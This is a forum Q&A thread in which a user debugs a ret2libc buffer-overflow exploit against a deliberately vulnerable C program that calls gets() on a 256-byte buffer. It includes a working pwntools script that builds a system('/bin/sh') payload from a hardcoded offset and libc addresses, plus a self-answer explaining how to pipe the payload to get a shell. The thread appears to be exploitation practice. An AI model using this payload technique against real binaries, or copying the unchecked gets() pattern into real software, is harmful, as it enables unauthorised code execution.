0

I am trying to exploit this program test with ret2libc. Only NX is enabled.

#include <stdio.h>

void vuln() {
    char buffer[256];
    gets(buffer);
}

int main() {
    vuln();
    return 0;
}

I am able to exploit the program with pwntools, but I am unable to exploit it doing ./test < myfile.txt.

Exploit:

#!/bin/python3
from pwn import process, gdb, shellcraft, p32, asm
from pwnlib.util.cyclic import cyclic, cyclic_find
import os

LOCAL_BIN = "./test"
SYSTEM_ADDR = 0xf7e10420 # p system
SHELL_ADDR = 0xf7f5a352 # find &system,+9999999,"/bin/sh"
EXIT = 0xf7e02f80 # p exit
OFFSET = 264 # offset to ebp
P = process(LOCAL_BIN)
G = gdb.attach(P.pid, "b *0x080491c7")

payload = b''
payload = payload.ljust(OFFSET, b'A')
payload += b'BBBB' # fill ebp with \x42
payload += p32(SYSTEM_ADDR)
payload += p32(EXIT)
payload += p32(SHELL_ADDR)

# write bytes to file. ./test < myfile.txt should work the same?
with open('myfile.txt', 'wb') as w:
    w.write(payload)

P.sendline(payload)
P.interactive()
exit()

What is the difference from running pwntools and piping bytes into the program?

3
  • "I am unable to exploit it doing ./test < myfile.txt - what's the effect of this not working? Aug 3 at 16:24
  • I am not sure with what you mean with effects, but the program runs fine when I do it. No segfault or anything like that. I have even run both the programs side by side inside gdb. Look at this gyazo.com/e25632d05b9bed9a4fdf99fefde1e2b9. How can this fail? Eveything looks as it should...?
    – Mr Krisey
    Aug 3 at 16:37
  • And since the program runs without fail (and that it enters the system function) I really can't see why it just runs system without giving a shell. It just runs without giving any output.
    – Mr Krisey
    Aug 3 at 18:37
1

It seems that I made two critical mistakes when I tried to use myfile.txt to exploit the binary.

  1. When writing the exploit to the file I did NOT append \n to the payload. P.sendline() appends this to the payload automatically. Without \n the function gets() just keeps asking for more input.
  2. The second mistake was not to include the stdin when piping to myfile.txt. I am unsure about the specifics about this, but when running cat myfile.txt - | ./test I got the shell I wanted.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.